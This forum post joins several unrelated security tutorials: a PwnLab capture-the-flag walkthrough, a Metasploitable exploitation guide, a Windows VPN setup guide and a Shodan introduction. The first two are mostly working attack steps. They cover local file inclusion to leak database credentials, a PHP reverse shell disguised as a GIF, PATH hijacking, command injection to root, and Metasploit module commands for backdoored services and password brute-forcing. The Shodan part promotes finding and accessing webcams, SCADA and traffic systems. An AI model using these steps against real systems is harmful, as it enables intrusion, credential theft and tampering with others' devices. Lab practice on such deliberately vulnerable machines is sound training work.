Login

**NINZA** · 04-24-2020, 02:58 PM

0			0

In this article, we will walkthrough a root2boot penetration testing challenge i.e PwnLab. PwbLab is a vulnerable framework, based on the concept of CTF (capture the flag), with a bit of security which is a little complicated to bypass. But it’s not impossible. So, let us learn how we can get access.

Download From

[To see content please register here]

Penetrating Methodology:

Network Scanning (Nmap, netdiscover)
Information Gathering (Nikto)
Abusing config.php file (curl & PHP filter convert)
Obtain Mysql Database credential
Extract user credential from Mysql Database
Login to web application
Upload webshell (PHP reverse shell)
Executing Uploaded PHP backdoor (Burp suit)
Netcat session
Import python one-liner for proper TTY shell
Find SUID Binaries
Privilege Escalation by Manipulating $PATH
Get Root access and capture the flag.

Let’s Start!!!

Now to start let us, firstly, consider that we do not know the IP of the PwnLab, therefore search for the IP address beforehand and for that there is a command that shows us all the IP’s present in our network, so go to the terminal of you Kali and type :
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Target IP = 192.168.1.103
And to know that we start our penetration testing. So, first, we will now scan with nmap, we will apply an aggressive scan as it gives detailed information and is fast. The command is :
nmap -A 192.168.1.103
1
nmap -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

We have the result of scanning and as you can see there are only three ports open and they are 80, 111, 3306. It is our best shot but also to be sure let us check this IP on our browser. In the browser, we can see that PwnLab has three pages: home, log in and upload. To enter the server we have to upload our code into it and for we must know username and password.
[Image: 3.png?w=687&ssl=1]

As we need to know about username and password, we will use Nikto command to find out the file which is storing them. Nikto helps us to know all the file names and the data they are containing. And the command to for this is:
nikto -h

[To see content please register here]

1
nikto -h

[To see content please register here]

As you can see /config.php: PHP Config file may contain database IDs and password is the file that has username and passwords. Moreover, login.php for admin login page is found.
[Image: 4.png?w=687&ssl=1]

So when we open target IP on the browser and explore Login tab then it gives login form as shown below. As we were unaware of its login credential thus we try SQL injection techniques but nothing was useful now the last options was to use CURL. If you will observe the URL

[To see content please register here]

then you can count that its look like that LFI.
[Image: 5.png?w=687&ssl=1]

But it was not easy that much to exact information by exploiting LFI with help of ../etc/password therefore by making little bit more effort and taking help from my previous

[To see content please register here]

we used curl command to find out the data from an inside config.php file with the help of PHP base64-encode.
curl

[To see content please register here]

1
curl

[To see content please register here]

And the highlighted part of the above image is our result and has the information about username and passwords. But note that the information is in base64 code which we will have to decode in order to read it. In order to decode copy the base 64 text and follow below syntax.
echo 'base 64 encoded text' | base64 -d
1
echo 'base 64 encoded text' | base64 -d
Thus we found the following information after decoding.
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
1
2
3
4
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
[Image: 7.png?w=687&ssl=1]

So, the username is root and password is H4u%QJ_H99.
Now we use MySQL command to see the username and passwords. And the SQL command is:
mysql -h 192.168.1.103 -u root -p Users
1
mysql -h 192.168.1.103 -u root -p Users
After typing the command it asks the password, so here enter the decoded password and press enter.
kent | Sld6WHVCSkpOeQ
mike | U0lmZHNURW42SQ
kane | aVN2NVltMkdSbw
1
2
3
kent | Sld6WHVCSkpOeQ
mike | U0lmZHNURW42SQ
kane | aVN2NVltMkdSbw
And so, you will have the usernames and password as in this case the usernames are kent, mike, Kane with their passwords in base64 code.
[Image: 8.png?w=687&ssl=1]

To decode each password follow the same method using echo command with -d option as shown and thus you will decode the password.
Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: Sv5Ym2GRo
1
2
3
Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: Sv5Ym2GRo
[Image: 9.png?w=687&ssl=1]

By using Kane credential, we login successfully, with help of upload option we can upload any image.
[Image: 10.png?w=687&ssl=1]

Here, upload option is like a dynamic opportunity for us, because through this we can upload any backdoor file for reverse connections. We know that in Kali Linux there are several PHP backdoors among those we have used usr/share/webshell/php/php-reverse-shell. BUT you need to modify it by adding GIF98 and save as shell.gif because here you can able to upload only a file with extension GIF, png and img.
[Image: 12.png?w=687&ssl=1]

After changing the extension when you will try to upload the file you will succeed. Now the uploaded file must be executed at once to achieve reverse connection. Once the file is uploaded, we still need a way to execute this file. And for that right click on that file and click on copy image location option. Further, open a new terminal to start Netcat listen for the reverse connection.
nc -lvp 1234
1
nc -lvp 1234
[Image: 13.png?w=687&ssl=1]

Now capture its HTTP request inside burp suit or tamper data. Here its shows that the “lang” parameter is set as a cookie and might be it could use for our malicious file execution. Inside the cookie option delete whatever was written and type:
lang=../*Image location path*
1
lang=../*Image location path*
Here,
*image location path* is the path of the file that you uploaded and had copied it after that.
[Image: 14.png?w=687&ssl=1]

Once above said changes are done then forward the intercepted request and open the terminal where netcat listener was activated here you will find the reverse connection of victim’s machine. To access proper tty shell execute below command, start penetrating more to get the flag.
python -c 'import pty; pty.spawn("/bin/bash")'
cd /home
ls
su kane
iSv5Ym2GRo
1
2
3
4
5
python -c 'import pty; pty.spawn("/bin/bash")'
cd /home
ls
su kane
iSv5Ym2GRo
Here,
su –> denotes the switch user
kane –> the user you want to switch to
iSv5Ym2GRo –> is the password
Next, if you type ls command you will that there is a folder named home in the user that we just entered. So, will go into that folder and to do so, type;
cd home
ls
cd kane
ls
1
2
3
4
cd home
ls
cd kane
ls
Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
As you can see in the image below, there is a file in Kane user called msgmike. Let us try to open it and therefore, type :
./msgmike
1
./msgmike
[Image: 15.png?w=687&ssl=1]

So we will try to run msgmike file, it put up an error message “cat: /home/mike/msg.txt No such file or directory”
The most important things which should be considered here that the author has set SUID bit ON for msgmike file and might be there could be any small program file which is calling system binaries such cat to a read file from inside given path i.e. /home/mike/msg.txt but the cat fails to find msg.txt file or directory. Taking its advantage, we will try to manipulate the environment PATH variable for cat to execute our /bin/bash command under user Mike.
To do this follow the below steps:
echo $PATH
echo '/bin/bash' > cat
chmod 777 cat
export PATH=./:$PATH
1
2
3
4
echo $PATH
echo '/bin/bash' > cat
chmod 777 cat
export PATH=./:$PATH
[Image: 16.png?w=687&ssl=1]

Now again run the msgmike file and you will get user Mike access. Hence above all steps was performed in direction of privilege escalation for user Mike but the root escalation is connected to phase indirectly as mike has a file msg2root which will take any Input command as the message to root.
cd mike
ls
1
2
cd mike
ls
[Image: 17.png?w=687&ssl=1]

So when you will run the msg2root file, it will ask you to enter the message for root which will be considered as an input value and you can utilize this opportunity for privilege escalation as shown.
./msg2root
test; /bin/sh
id
cd /root
cat flag.txt
1
2
3
4
5
./msg2root
test; /bin/sh
id
cd /root
cat flag.txt
[Image: 18.png?w=687&ssl=1]

HURRAYYYYYYYYYYYYY!! We hit the Goal and solved these challenges.

Metasploitable is a voluntarily created vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities Based virtual machine which helps us to conduct security training, test security tools, and practice common penetration testing techniques. The VM will run on any recent VMware products and other visualization technologies such as VirtualBox. You can download metasploitable from–>

[To see content please register here]

Metasploit table is an exploitable framework which help us to improve our skills and also help use to use every port to our advantage as we all know that ports and protocols are the foundation of hacking so, therefore, the more you can take benefit off of the victim.

In this we will walk through the whole concept of metasploitable including how to install it and how to hack it step by step. We will take all the ports one by one which re vulnerable and try to exploit them. So, firstly you have to download metasploit from the above link. After the downloading is complete open VMware and click on Open a virtual machine.

Locate the VMware image of metasploitable that you just downloaded and click on OK.
[Image: 2.png?w=687&ssl=1]

After clicking on OK the metasploitable will open in virtual machine and to run it just click on Power on this virtual machine and it will run your metasploitable.

On the verge of getting started it will ask you for username and password. Now, by default the username and passwords are: msfadmin and msfadmin respectively. Once you enter username and password your metasploitable will start.

Now that our vulnerable Linux machine is running and now type the ifconfig command to get the IP address

Now for penetration testing on the metasploitable go to the terminal of your Kali Linux and scan the IP of metasploitable through nmap so that we can which ports are open and this type:

nmap -sV 192.168.1.106

Due to the nmap command we can see which port is open and which service is going on which port, therefore, we can start our attack one by one to every vulnerable port. So, first we will attack on vsftpd2.3.4. As we know that this version is vulnerable, so let us exploit it. For this, open metasploit and type:

search vsftpd 2.3.4

Typing the above command will show the exploits that will help you in attack the said version. So further type:
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost 192.168.1.106
set rport 21
exploit
[Image: 7.png?w=687&ssl=1]

Once your attack is executed, you will reach in the shell of the metasploitable and so now you can do as you deserve.

Now, we will exploit ssh which works on port number 22. There is already existing exploit for this port. It will help us to apply dictionary attack to crack the password of metasploitable and so we will use it as :

use auxiliary/scanner/ssh/ssh_login

set rhosts 192.168.1.106

set rport 22

set user_file /root/Desktop/user.txt

set pass_file /root/Desktop/pass.txt

exploit

As you can see, after the execution of the file it will start matching all the username with the passwords to find the correct one. And in the end you will have your password along with the username.

Now we can use that password to the shell of metasploitable and for this just got to the terminal of Kali and type:

ssh [email protected]

Here,

ssh –> is the service through which we are exploiting

msfadmin –> is the password

192.168.1.106 –> is the victim’s IP address

Upon execution you can see that you will automatically enter its shell.

Now, we will try and attack via telnet which works on port 23. This port will also help us to find password first and then we can enter its shell. So, for this type:

use auxiliary/scanner/telnet/telnet_login

set rhosts 192.168.1.106

set rport 23

set user_file /root/Desktop/user.txt

set pass_file /root/Desktop/pass.txt

exploit

Similarly, as ssh, it will also start dictionary attack and step by step it will find the correct password. Now that you have the password you can log on to metasploitable.

telnet 192.168.1.106

After typing so, it will ask you for the username and password and once you enter these you will enter the metasploitable as shown below:

Now we will try to exploit the port number 80 on which http services run. For this too there is a pre-installed exploit in metasploit and to exercise the said exploit type:

use exploit/multi/http/php_cgi_arg_injection

set rhost 192.168.1.106

set rport 80

exploit

After the execution you will enter a meterpreter session of metasploitable as shown.

Next we will try to exploit the samba service that is going on the port number 139. For that we will use the following exploit:

use exploit/multi/samba/usermap_script

set rhost 192.168.1.106

set rport 139

exploit

The execution of this will take you the shell session of metasploit that means you will reach the shell of metasploit.

Now, we will use the following exploit:

use exploit/multi/misc/java_rmi_server

set rhost 192.168.1.106

set rport 1899

exploit

Again, after you hit enter button on your keyboard you will have a meterpreter session.

The next exploit is:
use exploit/linux/postgres/postgres_payload
set rhost 192.168.1.106
set rport 5432
exploit
[Image: 16.png?w=687&ssl=1]

Once the command is executed you will enter the meterpreter session as shown above.

The exploit that use is related to unreal ircd and to search its exploit type :

search Unreal ircd

And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.

To the exploit type:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.106
set rport 6667
exploit
[Image: 18.png?w=687&ssl=1]

And when you will hit enter you will obtain a shell session meaning you will enter the shell of the metasploitable.

These are all the attacks that you can use against metasploitable and in the process you can learn how to attack a real life victim using different ports.

You just need to follow the basic steps for configuring a remote access virtual private network (VPN) server using Server Manager, the Add Roles Wizard, and the Routing and Remote Access Server Setup Wizard. After you finish configuring a basic remote access VPN server, you can perform additional configuration tasks on client depending on the way you want to use the remote access VPN server.

Start -> Administrative Tools -> Server Manager. Click Add Roles

This wizard helps you install roll on your server, click on next to continue
[Image: 2.png?w=687]

Check the status of “Network Policy Server” under Role Services and click on next.
[Image: 3.png?w=687]

Read the requirements and click “Next” to continue.
[Image: 4.png?w=687]

On the following screen “Select Role Services” for Network Policy and Access Service, place a check mark on Routing and Remote Access Services and make sure “Remote Access Service” and “Routing” are selected as well. Click next to continue.

To install following role services for Network Policy and Access Service click on Install.
[Image: 6.png?w=687]

This show the summary of Remote Access services and Routing were installed successfully. Once the installation finishes, click close to end the wizard.

Till here I have completed installation of VPN in server.

To complete configuration in Routing and Remote Access follow these step.
Start -> Administrative Tools ->Routing and Remote Access
[Image: 8.png?w=687]

In the console that opens, right click your server name and right click on “Configure and Enable Routing and Remote Access “this configures Routing and Remote Access on the selected server.

In the Wizard you can enable any of following combinations of services. I will choose Custom Configuration for my server and click on Next.

Next is Routing and Remote Access server setup wizard in which I am going to decide which type of access should be allows to client to access server network.

You can configure the selected services in the Routing and Remote Access console. I am selecting the Check Box VPN access service on this server and click on next to continue

Now you have successfully completed the task of VPN access service in your server, to close this wizard click on finish.

Now you will get the dialog box which shows message that Routing and Remote Access service is ready to use. So click on Start Service.

Once the process is finished, and you are back on the main Server Manager window, routing and remote access should now be up and running.

Once you have successfully configuration of Routing and Remote, the administrator will select the desire user and give privilege to access the server through VPN connection for connecting client from different location.

Start -> Administrative Tools -> Active Directory Users and Computers -> Right Click the properties of an user

Click on the Dial-In tab and under “Network Access Permission” select Allow Access. Click on Apply and Ok to finish. Only selected client will be able to connect with server network through VPN using different network.

This was first phase of VPN configuration on server-side performs by administrator.

SETUP VPN CONNECTION FOR CLIENT ON WINDOWS 7

Setting up a client connection to a VPN network is very similar to setting up an old-fashioned Dial-Up connection through a phone line. You need to enter a server address (hostname or IP), user and password. Once connected, this system will receive an IP address within the VPN network, so you’ll be able to access it from any other machines also connected to the same VPN network.

Click on the Start -> Control Panel ->Network and Internet -> Network and Sharing Center

Change your network settings click on setup a new connection or network option, this contains different types of network connection options like broadband, dial-up, VPN or set up a router or access point.

Here you can many other options as I told, I will choose connect to a workplace to set a dial-up or VPN connections to your workplace. This option will set the connection to a workplace or say to our server for the client.

Now you will see next wizard for connect to workplace, which will ask for type of connection through which you will connect to your workplace or server.

My option will be use my internet connection (VPN) and the will be established using internet.

Now connecting network you must aware of IP address of workplace or say server. 192.168.0.106 it is the IP of my windows server 2008 r2 having VPN setup and configuration ,so I have mention this IP in Internet Address for connection

Now I had set privilege for user pentest to Allow Access for VPN connection. When you will try to connect it will ask for your credentials for authentication. Client will enter his username and password for establishing connection and click on connect.

When given credential will be found authorized, it will allow client to connect with workplace and provide VPN connection.

This is unshared and secure connection over internet between client and server for sharing data in a transparent medium.

To ensure that you have successful VPN connection open your command promot and type ipconfig this show another IP over LAN.

My IP is 192.168.0.104 under PPP adapter VPN connection, which will be used for login in server to access network and share data, as I am also having my LAN IP 192.168.0.105. This shows my VPN connection is established successfully.

Many people have described Shodan as a search engine for hackers, and have even called it “the world’s most dangerous search engine”. It was developed by John Matherly in 2009, and unlike other search engines, it looks for specific information that can be invaluable to hackers. John Matherly is an Internet Cartographer, hence the shodan.

Shodan is a type of search engine that allows users to search for Internet-connected devices and explicit website information such as the type of software running on a particular system and local anonymous FTP servers. Shodan can be used much in the same way as Google but indexes information based on banner content, which is meta-data that servers send back to hosting clients. For the best results, Shodan searches should be executed using a series of filters in a string format.

So, in conclusion, we can say that Shodan is a search engine for finding specific devices, and device types, that exist online. It is like an internet map that lets us see which device is connected to which or ports are open on a specific device or what operating system a certain system is using, etc. Rather than to locate specific content on a particular search term, SHODAN is designed to help the user find specific nodes (desktops, servers, routers, switches, etc.) with specific content in their banners.

What Shodan can do?

Shodan pulls service banners from servers and devices on the web, mostly port 80, but also ports 21 (ftp), 22 (SSH), 23 (telnet), 161 (SNMP), and 5060 (SIP). Since almost every new device now has a web interface (maybe even your refrigerator) to ease remote management, we can access innumerable web-enabled servers, network devices, home security systems, etc. Shodan can find us webcams, traffic signals, video projectors, routers, home heating systems, and SCADA systems that, for instance, control nuclear power plants and electrical grids. If it has a web interface, Shodan can find it! Although many of these systems communicate over port 80 using HTTP, many use telnet or other protocols over other ports. Keep that in mind when trying to connect to them.

How to use Shodan?

Understanding shodan is very important at first you might find it complex but once you get to know it you will find it very handy in use and very resourceful too. So, now let us learn how to work with fascinating search engine. To use shodan to your advantage you have

Follow the steps to register. After registration, a link will be sent to your e-mail ID for your activation of account on Shodan. Once your account is activated login to Shodan and now that you are logged in you are free to search for anything.

Here are some examples for which you can use shodan to search up the things you want.

Webcam

When you search for webcam, it will show you all the webcam present in the world. It will show the results as shown in the image below :

Traffic Signals

Searching about traffic signals or traffic signals camera then it will show you all the traffic surveillance camera present.

Cisco

Searching about Cisco will show you all the Cisco routers in the world but you can search them by country. Like, here, I have found Cisco routers in India and the result is below image :

Scada
You can also search about Scada and you will get its information around the whole world as shown :
[Image: 5.png?w=687&ssl=1]

netcam

Shodan can also show you about all the netcams in the world and you can access them too for testing.

GPS

Shodan even lets you find all the GPS devices all over the world and for this, you just have to type GPS in the search box.

Port

Not only the devices but it can help to find which port is open in which device. For example, I have here searched port: 1723. Now we all know this port is used for VPN so through this we can know which device is using VPN as shown in the image below :

When you search for port: 3389 it will show the operating system used by the device too which can be very useful.

This is how Shodan is useful for hackers as it gives all the information necessary to collect that too all over the world. And so you can manipulate this information as you desire.

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis